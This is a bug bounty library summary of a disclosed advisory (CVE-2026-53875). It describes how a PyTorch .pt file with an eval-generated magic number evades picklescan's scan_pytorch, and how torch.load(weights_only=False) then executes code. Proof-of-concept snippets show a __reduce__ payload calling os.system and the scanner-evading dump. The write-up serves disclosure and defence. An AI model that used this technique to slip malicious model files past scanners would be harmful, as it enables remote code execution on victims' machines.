# Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER

picklescan's scan_pytorch reads the magic number via pickletools.genops INT/LONG opcodes, but PyTorch uses pickle.load, so an eval-based __reduce__ payload hides the magic number and bypasses scanning to achieve RCE.

- Payout: Research
- Severity: high
- Program: picklescan
- Found by (vendor credit): zpbrent
- Found by: zpbrent
- Disclosed: 2026-02-18
- CVE: CVE-2026-53875
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-97f8-7cmv-76j2
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-97f8-7cmv-76j2
- Tags: area:ai domain:ai impact:rce kind:research platform:ghsa sev:high tech:python technique:parser-differential technique:source-review vuln:deserialization vuln:rce

**Target:** picklescan scan_pytorch / PyTorch .pt model files
**Root cause:** get_magic_number() uses pickletools.genops(data) and only accepts INT/LONG opcodes, while PyTorch's torch.load uses pickle_module.load() to obtain the magic number; the two parsers disagree on what value is the magic number.
**Steps:**
1. Modify torch.serialization._legacy_save to dump a payload class whose __reduce__ returns (eval, ('MAGIC_NUMBER',)) so the magic number is produced dynamically rather than as an INT/LONG opcode.
2. Generate payload.pt with torch.save(payload(), './payload.pt', _use_new_zipfile_serialization=False) where payload.__reduce__ returns (__import__('os').system, ('touch /tmp/hacked',)).
3. Run picklescan: it reports 'Invalid magic number ... None != 119547037146038801333356' and scans 0 files, 0 infected, 0 dangerous globals.
4. Victim runs torch.load('./payload.pt', weights_only=False), which executes os.system and creates /tmp/hacked.
**How found:** Compared picklescan's get_magic_number() implementation (pickletools.genops filtering INT/LONG opcodes) against PyTorch's torch.load, which uses pickle_module.load(); the parser differential lets a dynamically-evaluated magic number evade the scanner while still satisfying PyTorch.
**Exploitation:** Attacker crafts a .pt file whose magic number is computed at unpickle time via eval in __reduce__, so picklescan's genops-based magic-number check fails to parse it (returns None) and skips scanning; the victim loading the model with torch.load(weights_only=False) executes arbitrary code.
**Insight:** When a scanner re-implements a parser to inspect a format, look for semantic gaps versus the real loader: here the magic number is a value, not an opcode, so producing it via eval/__reduce__ makes the scanner see None while the loader sees the correct value.

## Proof of concept (copied exactly from the original report)

**Malicious __reduce__ payload using eval MAGIC_NUMBER**

```
class payload:
        def __reduce__(self):
            return (eval, ('MAGIC_NUMBER',))

    pickle_module.dump(payload(), f, protocol=pickle_protocol)
```

**PoC generating payload.pt with os.system**

```
import torch 

class payload:
    def __reduce__(self):
        return (__import__('os').system, ('touch /tmp/hacked',))

torch.save(payload(), './payload.pt', _use_new_zipfile_serialization = False)
```

**Victim torch.load triggering RCE**

```
import torch
torch.load('./payload.pt', weights_only=False)
then you can find the illegal file `/tmp/hacked` created in your local system.
```

